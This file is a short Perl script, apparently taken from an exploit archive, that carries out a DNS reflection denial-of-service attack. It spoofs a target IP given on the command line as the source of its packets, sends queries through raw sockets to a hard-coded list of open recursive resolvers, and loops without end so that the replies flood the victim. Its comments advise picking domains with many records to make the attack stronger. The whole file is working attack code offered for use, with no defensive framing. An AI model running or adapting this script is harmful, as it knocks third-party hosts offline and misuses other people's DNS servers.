spoofer2.pl.txt

`#!/usr/bin/perl  
# Get Net::RawIP at http://search.cpan.org/CPAN/authors/id/S/SZ/SZABGAB/Net-RawIP-0.21_01.tar.gz  
# cpan Net::DNS:Resolver seems to work fine on each machine I throw it on, as well.  
# PS: To see if you can spoof, check out the ANA Spoofer project.  
# http://spoofer.csail.mit.edu/  
#  
# Written by Shadow  
# irc.dark-irc.net #thecorpz  
# [email protected]  
  
use Net::DNS::Resolver;  
use Net::RawIP;  
use strict;  
  
# Populate this list with domain names with lots of A records. IRC server DNS pools are a good place to look.  
# Maybe get a cheap throwaway domain and add your own A records.  
my @name = ("irc.efnet.net", "irc.dal.net", "irc.undernet.org", "irc.freenode.net");  
my $names = "3"; #number of entries in @name, minus one.  
  
# Populate this list with ONLY open, recursive dns servers.  
# http://www.dnsstuff.com/ - Block their cookies to use the site w/o paying.  
my $nameservers;  
my @nameservers = ("205.234.223.168", "64.202.117.121", "208.80.184.69", "200.255.59.150") #4 entries.  
  
my $reflectors = "3"; # Number of entries in @nameservers, minus one.  
my $debug = 1; # Change to 0 if you don't wanna have your console flooded.  
  
##########################  
# END USER CONFIGURATION #  
##########################  
  
my $str;  
my $name;  
my $src_ip;  
my $reflector;  
$src_ip = $ARGV[0];  
  
if ($ARGV[0] eq '') { print "Usage: " . $0 . " <IP>\n"; exit(0); }  
print ("Hitting $ARGV[0]\n");  
  
for (my $i=0; $i < 256; $i++) {  
# Make DNS packet  
my $dnspacket = new Net::DNS::Packet($str, "A", "IN");  
my $dnsdata = $dnspacket->data;  
my $sock = new Net::RawIP({udp=>{}});  
# send packet  
$str = @name[int rand($names)]; # Select entry from @name  
$reflector = $nameservers[int rand($reflectors)]; # Select entry from @nameservers  
$sock->set({ip => {  
saddr => $src_ip, daddr => "$reflector", frag_off=>0,tos=>0,id=>1565},  
udp => {source => 53,  
dest => 53, data=>$dnsdata  
} });  
$sock->send;  
if ($debug eq "1") { print "Me -> " . $reflector . "(DNSing " . $str . ")" . " -> " . $src_ip . " \n"; }  
$i = 0;  
}  
exit(0);`